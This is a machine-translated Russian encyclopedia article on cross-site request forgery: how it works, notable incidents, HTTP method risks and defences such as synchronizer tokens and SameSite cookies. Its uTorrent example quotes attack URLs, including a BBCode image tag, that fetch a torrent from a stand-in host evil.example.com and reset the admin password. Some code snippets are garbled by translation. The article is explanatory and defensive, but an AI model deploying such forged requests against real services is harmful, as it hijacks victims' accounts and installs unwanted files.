Подделка межсайтового запроса
Подделка межсайтовых запросов , также известная как атака в один клик или сессионная атака и сокращенно CSRF (иногда произносится как «морской серфинг»). [1] ) или XSRF — это тип вредоносного эксплойта веб -сайта или веб-приложения , при котором несанкционированные команды отправляются от пользователя , которому веб-приложение доверяет. [2] Существует множество способов передачи таких команд вредоносным веб-сайтом; например, специально созданные теги изображений, скрытые формы и JavaScript выборка или XMLHttpRequests могут работать без взаимодействия или даже ведома пользователя. В отличие от межсайтового сценария (XSS), который использует доверие пользователя к конкретному сайту, CSRF использует доверие, которое сайт имеет к браузеру пользователя. [3] При CSRF-атаке злоумышленник обманом заставляет невиновного конечного пользователя отправить веб-запрос, который он не собирался делать. Это может привести к выполнению на веб-сайте действий, которые могут включать непреднамеренную утечку данных клиента или сервера, изменение состояния сеанса или манипулирование учетной записью конечного пользователя.
Термин «CSRF» также используется как аббревиатура для защиты от атак CSRF, таких как методы, использующие данные заголовка, данные формы или файлы cookie для проверки и предотвращения таких атак.
Характеристики [ править ]
Цель атаки CSRF — заставить невинную жертву неосознанно отправить вредоносный веб-запрос на веб-сайт, к которому жертва имеет привилегированный доступ. Этот веб-запрос может быть создан с включением параметров URL-адреса, файлов cookie и других данных, которые кажутся обычными для веб-сервера, обрабатывающего запрос. В зоне риска находятся веб-приложения , которые выполняют действия на основе данных от доверенных и аутентифицированных пользователей, не требуя от пользователя авторизации (например, посредством всплывающего подтверждения) конкретного действия. Пользователь, аутентифицированный с помощью файла cookie пользователя, , сохраненного в веб-браузере может по незнанию отправить HTTP- запрос на сайт, который доверяет пользователю, и тем самым вызвать нежелательное действие.
Общим свойством веб-браузеров является то, что они автоматически и незаметно включают любые файлы cookie (включая файлы cookie сеанса и другие), используемые данным доменом, в любой веб-запрос, отправляемый в этот домен. Это свойство используется CSRF-атаками. В случае, если пользователя обманом заставили непреднамеренно отправить запрос через свой браузер, эти автоматически включенные файлы cookie приведут к тому, что поддельный запрос будет выглядеть реальным для веб-сервера, и он выполнит любые запрошенные действия, включая возврат данных, управление состоянием сеанса или создание изменения в аккаунте жертвы.
Чтобы CSRF-атака сработала, злоумышленник должен идентифицировать воспроизводимый веб-запрос, который выполняет определенное действие, например изменение пароля учетной записи на целевой странице. Как только такой запрос будет идентифицирован, может быть создана ссылка, которая генерирует этот вредоносный запрос, и эта ссылка может быть встроена на страницу, находящуюся под контролем злоумышленника. [1] [4] Эта ссылка может быть размещена таким образом, что жертве даже не придется переходить по ней. Например, он может быть встроен в тег изображения html в электронном письме, отправленном жертве, которое будет автоматически загружаться, когда жертва открывает свое электронное письмо. Как только жертва нажмет на ссылку, ее браузер автоматически включит все файлы cookie, используемые этим веб-сайтом, и отправит запрос на веб-сервер. Веб-сервер не сможет идентифицировать подделку, поскольку запрос был сделан пользователем, который вошел в систему и предоставил все необходимые файлы cookie.
Подделка межсайтового запроса является примером запутанной атаки заместителя на веб-браузер, поскольку веб-браузер обманом заставляет отправить поддельный запрос менее привилегированным злоумышленником.
CSRF обычно имеет следующие характеристики:
- пользователя Сюда входят сайты, которые полагаются на личность .
- Он использует доверие сайта к этой личности.
- Он обманом заставляет браузер пользователя отправлять HTTP- запросы на целевой сайт, где пользователь уже прошел аутентификацию.
- Он включает в себя HTTP-запросы, которые имеют побочные эффекты .
История [ править ]
Уязвимости токенов CSRF известны и в некоторых случаях используются с 2001 года. [5] Поскольку это выполняется с IP-адреса пользователя , некоторые журналы веб-сайтов могут не содержать свидетельств CSRF. [2] Об эксплойтах не сообщается, по крайней мере, публично, и по состоянию на 2007 г. [6] было несколько хорошо документированных примеров:
- Веб -сайт Netflix в 2006 году имел многочисленные уязвимости к CSRF, которые могли позволить злоумышленнику выполнять такие действия, как добавление DVD в очередь на прокат жертвы, изменение адреса доставки в учетной записи или изменение учетных данных жертвы для входа в систему, чтобы полностью скомпрометировать учетную запись. . [7]
- Веб-приложение онлайн-банкинга ING Direct было уязвимо для атаки CSRF, которая позволяла осуществлять незаконные денежные переводы. [8]
- Популярный видеосайт YouTube также был уязвим к CSRF в 2008 году, что позволяло любому злоумышленнику выполнять практически все действия любого пользователя. [8]
- McAfee Secure также был уязвим для CSRF и позволял злоумышленникам изменить систему своей компании. Это исправлено в новых версиях. [9]
В 2018 году были осуществлены новые атаки на устройства с доступом в Интернет, включая попытки изменить настройки DNS маршрутизаторов. Некоторые производители маршрутизаторов поспешно выпустили обновления прошивки для улучшения защиты и посоветовали пользователям изменить настройки маршрутизатора, чтобы снизить риск. Подробности не разглашаются, сославшись на «очевидные соображения безопасности». [10]
Пример [ править ]
Злоумышленники, которые могут найти воспроизводимую ссылку, которая выполняет определенное действие на целевой странице, пока жертва находится в системе, могут встроить такую ссылку на страницу, которую они контролируют, и обманом заставить жертву открыть ее. [1] Ссылка на носителя атаки может быть размещена в месте, которое жертва, скорее всего, посетит при входе на целевой сайт (например, дискуссионный форум), или отправлена в теле письма или вложении в формате HTML. Реальная CSRF-уязвимость в uTorrent ( CVE-2008-6586 ) использовала тот факт, что его веб-консоль, доступная по адресу localhost :8080, позволяла выполнять важные действия с помощью простого запроса GET:
- Принудительная .torrent загрузка файла
- http://localhost:8080/gui/?action=add-url&s=http://evil.example.com/backdoor.torrent
- Сменить пароль администратора uTorrent
- http://localhost:8080/gui/?action=setsetting&s=webui.password&v=eviladmin
Атаки проводились путем размещения вредоносных HTML-элементов изображений автоматического действия на форумах и в спаме электронной почты , чтобы браузеры, посещающие эти страницы, открывали их автоматически, без особых действий пользователя. Атаке подверглись люди, использующие уязвимую версию uTorrent одновременно с открытием этих страниц.
CSRF-атаки с использованием тегов изображений часто осуществляются с интернет-форумов , где пользователям разрешено публиковать изображения, но не разрешен JavaScript , например, с использованием BBCode :
[img] http://localhost:8080/gui/?action=add-url&s=http://evil.example.com/backdoor.torrent [/img]
При доступе к ссылке для атаки на локальное приложение uTorrent по адресу localhost:8080 браузер также всегда будет автоматически отправлять все существующие файлы cookie для этого домена. Это общее свойство веб-браузеров позволяет атакам CSRF использовать целевые уязвимости и выполнять враждебные действия, пока пользователь вошел на целевой веб-сайт (в данном примере — локальный веб-интерфейс uTorrent) во время атаки.
В описанном выше примере uTorrent атаке способствовал тот факт, что веб-интерфейс uTorrent использовал запрос GET для критических операций изменения состояния (изменение учетных данных, загрузка файла и т. д.), что RFC 2616 явно не рекомендует:
В частности, было установлено соглашение, согласно которому методы GET и HEAD НЕ ДОЛЖНЫ иметь значение выполнения иного действия, кроме извлечения. Эти методы следует считать «безопасными». Это позволяет пользовательским агентам особым образом представлять другие методы, такие как POST, PUT и DELETE, чтобы пользователь знал о том, что запрашивается возможно небезопасное действие.
Из-за этого предположения многие существующие механизмы предотвращения CSRF в веб-платформах будут не охватывать запросы GET , а скорее будут применять защиту только к методам HTTP, которые предназначены для изменения состояния. [11]
Подделка запросов на вход [ править ]
Злоумышленник может подделать запрос на вход жертвы на целевой веб-сайт, используя учетные данные злоумышленника; это известно как вход CSRF . CSRF входа делает возможными различные новые атаки; например, злоумышленник может позже войти на сайт со своими законными учетными данными и просмотреть личную информацию, такую как история активности, которая была сохранена в учетной записи. Эта атака была продемонстрирована против Google [12] и Яху . [13]
HTTP-глаголы и CSRF [ править ]
В зависимости от типа методы HTTP- запросов различаются по своей восприимчивости к атакам CSRF (из-за различий в их обработке веб-браузерами ). Поэтому меры защиты от атаки зависят от метода HTTP-запроса.
- В HTTP GET эксплуатация CSRF тривиальна: используются методы, описанные выше, такие как простая гиперссылка , содержащая управляемые параметры и автоматически загружаемая тегом IMG . Однако согласно спецификации HTTP GET должен использоваться как безопасный метод , то есть не меняющий существенно состояние пользователя в приложении. Приложения, использующие GET для таких операций, должны переключиться на HTTP POST или использовать защиту от CSRF.
- Уязвимость HTTP POST к CSRF зависит от сценария использования:
- В простейшей форме POST с данными, закодированными в виде строки запроса (
field1=value1&field2=value2Атака CSRF легко реализуется с использованием простой HTML-формы , и необходимо применить меры против CSRF. - Если данные отправляются в любом другом формате ( JSON , XML ), стандартным методом является выдача запроса POST с использованием XMLHttpRequest с CSRF-атаками, предотвращаемыми политикой одного и того же происхождения (SOP) и общим доступом к ресурсам между источниками (CORS); существует метод отправки произвольного контента из простой HTML-формы с использованием
ENCTYPEатрибут; такой поддельный запрос можно отличить от законного поtext/plainтип контента, но если это не предусмотрено на сервере, CSRF может быть выполнен [14] [15]
- В простейшей форме POST с данными, закодированными в виде строки запроса (
- другие методы HTTP (PUT, DELETE и т. д.) могут быть выданы только с помощью XMLHttpRequest с политикой одного и того же происхождения (SOP) и общим доступом к ресурсам между источниками (CORS), предотвращающими CSRF; однако эти меры не будут активны на веб-сайтах, которые явно отключают их с помощью
Access-Control-Allow-Origin: *заголовок
к CSRF Другие подходы
Кроме того, хотя CSRF обычно описывается как статический тип атаки, он также может быть создан динамически как часть полезной нагрузки для атаки с использованием межсайтовых сценариев , как это продемонстрировал червь Samy , или создан на лету из информации о сеансе, просочившейся через внешний контент. и отправляется цели как вредоносный URL-адрес. Токены CSRF также могут быть отправлены клиенту злоумышленником из-за фиксации сеанса или других уязвимостей или угаданы с помощью атаки методом перебора, отображенной на вредоносной странице, которая генерирует тысячи неудачных запросов. Был описан класс атаки «Динамический CSRF» или использование полезных данных для каждого клиента для подделки конкретного сеанса. [16] в 2009 году Натан Хамиэль и Шон Мойер на брифинге BlackHat, [17] хотя таксономия еще не получила более широкого распространения.
Новый вектор создания динамических CSRF-атак был представлен Ореном Офером на собрании местного отделения OWASP в январе 2012 года — «AJAX Hammer – Dynamic CSRF». [18] [19]
Эффекты [ править ]
Показатели серьезности были выпущены для уязвимостей токена CSRF, которые приводят к удаленному выполнению кода с привилегиями root. [20] а также уязвимость, которая может поставить под угрозу корневой сертификат , что полностью подорвет инфраструктуру открытых ключей . [21]
Ограничения [ править ]
 |
Для успешной подделки межсайтового запроса должно произойти несколько вещей:
- Злоумышленник должен нацелиться либо на сайт, который не проверяет заголовок реферера , либо на жертву с браузером или плагином, позволяющим подменять реферер . [22]
- Злоумышленник должен найти отправку формы на целевом сайте или URL-адрес, имеющий побочные эффекты, который что-то делает (например, переводит деньги или меняет адрес электронной почты или пароль жертвы).
- Злоумышленник должен определить правильные значения для всех форм или входных URL-адресов; если какие-либо из них должны быть секретными значениями аутентификации или идентификаторами, которые злоумышленник не может угадать, атака, скорее всего, потерпит неудачу (если только злоумышленнику не очень повезет в их догадке).
- Злоумышленник должен заманить жертву на веб-страницу с вредоносным кодом, пока жертва находится на целевом сайте.
Атака является слепой: злоумышленник не может видеть, что целевой веб-сайт отправляет обратно жертве в ответ на поддельные запросы, если только он не воспользуется межсайтовым скриптом или другой ошибкой на целевом веб-сайте. Аналогичным образом, злоумышленник может атаковать любые ссылки или отправлять любые формы, которые появляются после первоначального поддельного запроса, только если эти последующие ссылки или формы столь же предсказуемы. (Несколько целей можно смоделировать, включив несколько изображений на страницу или используя JavaScript для введения задержки между кликами.) [23]
Профилактика [ править ]
Большинство методов предотвращения CSRF работают путем внедрения в запросы дополнительных данных аутентификации, что позволяет веб-приложению обнаруживать запросы из неавторизованных мест.
Шаблон жетона синхронизатора [ править ]
Шаблон токена синхронизатора (STP) — это метод, при котором токен, секретное и уникальное значение для каждого запроса, внедряется веб-приложением во все формы HTML и проверяется на стороне сервера. Токен может быть сгенерирован любым методом, обеспечивающим непредсказуемость и уникальность (например, с использованием хеш-цепочки случайного начального числа). В ASP.NET это называется токеном защиты от подделки. Таким образом, злоумышленник не может разместить правильный токен в своих запросах для их аутентификации. [1] [24] [25]
Пример STP, установленного Django в форме HTML:
< тип ввода = «скрытый» имя = «csrfmiddlewaretoken» значение = «KbyUmhTLMpYj7CD2di7JKP1P3qmLlkPt» />
STP является наиболее совместимым, поскольку он опирается только на HTML, но создает некоторую сложность на стороне сервера из-за нагрузки, связанной с проверкой действительности токена при каждом запросе. Поскольку токен уникален и непредсказуем, он также обеспечивает правильную последовательность событий (например, экран 1, затем 2, затем 3), что создает проблемы с удобством использования (например, пользователь открывает несколько вкладок). Это можно смягчить, используя токен CSRF для каждого сеанса вместо токена CSRF для каждого запроса.
Токен cookie-заголовка [ править ]
Веб-приложения, использующие JavaScript для большинства своих операций, могут использовать следующую технику защиты от CSRF:
- При первом посещении без связанного сеанса сервера веб-приложение устанавливает файл cookie. Файл cookie обычно содержит случайный токен, который может оставаться неизменным на протяжении всего времени веб-сеанса.
Set-Cookie: __Host-csrf_token=i8XNjC4b8KVok4uw5RftR38Wgp2BFwql; Истекает=Чт, 23 июля 2015 г., 10:25:33 GMT; Максимальный возраст=31449600; Путь=/; SameSite=Слабый; Безопасный
- JavaScript, работающий на стороне клиента, считывает свое значение и копирует его в собственный HTTP-заголовок , отправляемый с каждым транзакционным запросом.
X-Csrf-токен: i8XNjC4b8KVok4uw5RftR38Wgp2BFwql
- Сервер проверяет наличие и целостность токена.
Безопасность этого метода основана на предположении, что только JavaScript , работающий на стороне клиента HTTPS-соединения с сервером, который первоначально установил файл cookie, сможет прочитать значение файла cookie. JavaScript, запущенный из мошеннического файла или электронного письма, не сможет успешно прочитать значение файла cookie и скопировать его в пользовательский заголовок. Несмотря на то, что csrf-token Файл cookie может автоматически отправляться вместе с мошенническим запросом. В соответствии с политикой SameSite в отношении файлов cookie сервер все равно будет ожидать действительный запрос. X-Csrf-Token Заголовок .
Сам токен CSRF должен быть уникальным и непредсказуемым. Он может быть сгенерирован случайным образом или получен из токена сеанса с использованием HMAC :
csrf_token = HMAC (session_token, application_secret)
Файл cookie токена CSRF не должен иметь флага httpOnly , поскольку он предназначен для чтения с помощью JavaScript изначально .
Этот метод реализован во многих современных фреймворках, таких как Django. [26] и АнгулярДжС . [27] Поскольку токен остается постоянным на протяжении всего сеанса пользователя, он хорошо работает с приложениями AJAX , но не обеспечивает принудительной последовательности событий в веб-приложении.
Защита, обеспечиваемая этим методом, может быть нарушена, если целевой веб-сайт отключает политику одного и того же источника, используя один из следующих методов:
- Файл clientaccesspolicy.xml , предоставляющий непреднамеренный доступ к элементам управления Silverlight. [28]
- Файл crossdomain.xml , предоставляющий непреднамеренный доступ к Flash-фильмам [29]
Двойная отправка файла cookie [ править ]
Аналогично подходу «cookie-to-header», но без использования JavaScript, сайт может установить CSRF-токен в качестве файла cookie, а также вставить его в качестве скрытого поля в каждую HTML-форму. Когда форма отправляется, сайт может проверить, соответствует ли токен файла cookie токену формы. Политика одного и того же происхождения не позволяет злоумышленнику читать или устанавливать файлы cookie в целевом домене, поэтому он не может поместить действительный токен в созданную им форму. [30]
Преимущество этого метода перед шаблоном Синхронизатор заключается в том, что токен не нужно хранить на сервере.
Атрибут файла cookie SameSite [ изменить ]
Дополнительный атрибут SameSite может быть включен, когда сервер устанавливает файл cookie, указывая браузеру, следует ли прикреплять файл cookie к межсайтовым запросам. Если для этого атрибута установлено значение «строго», файлы cookie будут отправляться только по запросам одного и того же сайта, что делает CSRF неэффективным. Однако для этого требуется, чтобы браузер распознал и правильно реализовал атрибут. [31]
Защиты на стороне клиента [ править ]
Расширения браузера, такие как RequestPolicy (для Mozilla Firefox ) или uMatrix (как для Firefox, так и для Google Chrome / Chromium ), могут предотвратить CSRF, предоставляя политику отклонения по умолчанию для межсайтовых запросов. Однако это может существенно помешать нормальной работе многих веб-сайтов. Расширение CsFire (также для Firefox) может смягчить влияние CSRF, оказывая меньшее влияние на обычный просмотр, удаляя информацию аутентификации из межсайтовых запросов.
Расширение NoScript для Firefox смягчает угрозы CSRF, отличая доверенные сайты от ненадежных, а также удаляя аутентификацию и полезные данные из запросов POST, отправляемых ненадежными сайтами доверенным. Модуль Application Boundary Enforcer в NoScript также блокирует запросы, отправленные с интернет-страниц на локальные сайты (например, localhost), предотвращая атаки CSRF на локальные службы (например, uTorrent) или маршрутизаторы.
Расширение самоуничтожающихся файлов cookie для Firefox не защищает напрямую от CSRF, но может уменьшить окно атаки, удаляя файлы cookie, как только они больше не связаны с открытой вкладкой.
Другие методы [ править ]
Исторически для предотвращения CSRF использовались или предлагались различные другие методы:
- Проверка того, что заголовки запроса содержат
X-Requested-With(использовался Ruby on Rails до версии 2.0 и Django до версии 1.2.5) или проверка HTTPRefererзаголовок и/или HTTPOriginзаголовок. [32] - Проверка HTTP
RefererЗаголовок, позволяющий узнать, поступает ли запрос с авторизованной страницы, обычно используется для встроенных сетевых устройств, поскольку не увеличивает требования к памяти. Однако запрос, в котором опускаетсяRefererзаголовок следует рассматривать как неавторизованный, поскольку злоумышленник может подавитьRefererзаголовок, отправляя запросы с URL-адресов FTP или HTTPS. Этот строгийRefererпроверка может вызвать проблемы с браузерами или прокси-серверами, которые пропускаютRefererзаголовок по соображениям конфиденциальности. Кроме того, старые версии Flash (до 9.0.18) позволяют вредоносному Flash генерировать запросы GET или POST с произвольными заголовками HTTP-запросов с использованием CRLF Injection . [33] Подобные уязвимости внедрения CRLF в клиенте могут использоваться для подмены реферера HTTP-запроса. - POST Метод запроса какое-то время считался невосприимчивым к тривиальным атакам CSRF с использованием параметров в URL-адресе (с использованием метода GET). Однако теперь как POST, так и любой другой HTTP-метод можно легко выполнить с помощью XMLHttpRequest . Фильтрация неожиданных запросов GET по-прежнему предотвращает некоторые конкретные атаки, такие как межсайтовые атаки с использованием URL-адресов вредоносных изображений или адресов ссылок, а также межсайтовую утечку информации через
<script>элементы ( перехват JavaScript ); это также предотвращает (не связанные с безопасностью) проблемы с агрессивными веб-сканерами и предварительной выборкой ссылок . [1]
Уязвимости межсайтового скриптинга (XSS) (даже в других приложениях, работающих в том же домене) позволяют злоумышленникам обойти практически все меры предотвращения CSRF. [34]
См. также [ править ]
- НАРУШЕНИЕ
- Проблема запутанного депутата
- ПРЕСТУПЛЕНИЕ
- Веб-сообщения
- Опрыскивание кучи
- Повтор атаки
- Фиксация сеанса
- Безопасность приложений
Ссылки [ править ]
- ^ Перейти обратно: а б с д Это Шифлетт, Крис (13 декабря 2004 г.). «Уголок безопасности: подделка межсайтовых запросов» . php|architect (через shiflett.org) . Проверено 3 июля 2008 г.
- ^ Перейти обратно: а б Ристич, Иван (2005). Безопасность Апача . О'Рейли Медиа. п. 280 . ISBN 0-596-00724-8 .
- ^ «Что такое подделка межсайтовых запросов (CSRF) и как она работает? | Synopsys» .
- ^ «Что такое CSRF (подделка межсайтовых запросов)? Учебное пособие и примеры» . www.portswigger.net . Проверено 4 ноября 2019 г.
- ^ Бернс, Джесси (2005). «Подделка межсайтовых запросов: введение в общую слабость сети» (PDF) . Информационная безопасность Партнеры, ООО. Архивировано из оригинала (PDF) 21 января 2013 г. Проверено 12 декабря 2011 г.
- ^ Кристи, Стив; Мартин, Роберт А. (22 мая 2007 г.). «Распределение типов уязвимостей в CVE (версия 1.1)» . Корпорация МИТЕР . Проверено 7 июня 2008 г.
- ^ Вашкуч-младший, Фрэнк (17 октября 2006 г.). «Netflix исправляет дыру в подделке межсайтовых запросов» . Журнал СК . Проверено 11 февраля 2019 г.
- ^ Перейти обратно: а б Уильям Зеллер; Эдвард В. Фельтен (октябрь 2008 г.). «Подделка межсайтовых запросов: использование и предотвращение» (PDF) . Проверено 29 мая 2015 г.
- ^ Майк, Бейли (2009). «CSRF: Да, это все еще работает…» (PDF) . ДЕФКОН.
- ^ «Рекомендации по безопасности: CSRF и DNS/DHCP/веб-атаки» . Драйтек . Май 2018 года . Проверено 18 мая 2018 г.
- ^ «Защита от подделки межсайтовых запросов | Документация Django | Django» . docs.djangoproject.com . Проверено 21 августа 2015 г.
- ^ Адам Барт, Коллин Джексон и Джон К. Митчелл, Надежная защита от подделки межсайтовых запросов , Материалы 15-й конференции ACM по компьютерной и коммуникационной безопасности, ACM 2008
- ^ Джозеф Фулдс, Подделка запроса на вход в систему пассивного мониторинга, Yahoo. Архивировано 22 декабря 2014 г. на Wayback Machine.
- ^ «Межсайтовая подделка запросов POST с телом XML» . пентестмонки . Проверено 4 сентября 2015 г.
- ^ Ширадж Шах (2008). «Взлом Web 2.0 в защиту Ajax и веб-сервисов» (PDF) . ХИТБ . Проверено 4 сентября 2015 г.
- ^ «Исправление безопасности — превращение Web 2.0 в оружие» .
- ^ Динамический CSRF. Архивировано 13 февраля 2010 г. на Wayback Machine.
- ^ Owasp.org: Израиль, 2012/01: AJAX Hammer - использование AJAX для атак CSRF. Архивировано 1 октября 2013 г. на Wayback Machine.
- ^ Загрузки – hasc-research – hasc-research – Хостинг проектов Google . Code.google.com (17 июня 2013 г.). Проверено 12 апреля 2014 г.
- ^ «Примечание об уязвимости VU#584089 — уязвимости cPanel XSRF» .
- ^ «Примечание об уязвимости VU#264385 — OpenCA допускает подделку межсайтовых запросов (XSRF)» .
- ^ «Улучшенное предотвращение межсайтовых атак» . Эспеснет . Европейское патентное ведомство . Проверено 21 ноября 2019 г.
- ^ «CSRF: объяснение атак с подделкой межсайтовых запросов» . Цифровой гид IONOS . Проверено 26 апреля 2022 г.
- ^ «Шпаргалка по предотвращению межсайтовой подделки запросов (CSRF)» . ОВАСП . Проверено 19 июля 2019 г.
- ^ «Статьи Валгаллы — подделка межсайтовых запросов: раскрыта тайна» .
- ^ «Защита от подделки межсайтовых запросов» . Джанго. Архивировано из оригинала 20 января 2015 г. Проверено 20 января 2015 г.
- ^ «Защита от подделки межсайтовых запросов (XSRF)» . АнгулярJS . Проверено 20 января 2015 г.
- ^ «Как сделать услугу доступной за пределами домена» .
- ^ Адамски, Лукас. «Рекомендации по использованию файлов междоменной политики для Flash Player — Adobe Developer Connection» .
- ^ «Защита от двойной отправки файлов cookie» . ОВАСП.
- ^ «Файлы cookie SameSite» . Мозилла. 10 апреля 2023 г.
- ^ Предложение заголовка Origin. Архивировано 8 марта 2016 г. на Wayback Machine . People.mozilla.org. Проверено 29 июля 2013 г.
- ^ «Secunia Advisory SA22467» . Секуния. 19 октября 2006 г. Проверено 11 сентября 2012 г.
- ^ Шнайдер, Кристиан. «CSRF и XSS того же происхождения» . Архивировано из оригинала 14 августа 2012 г. Проверено 21 апреля 2012 г.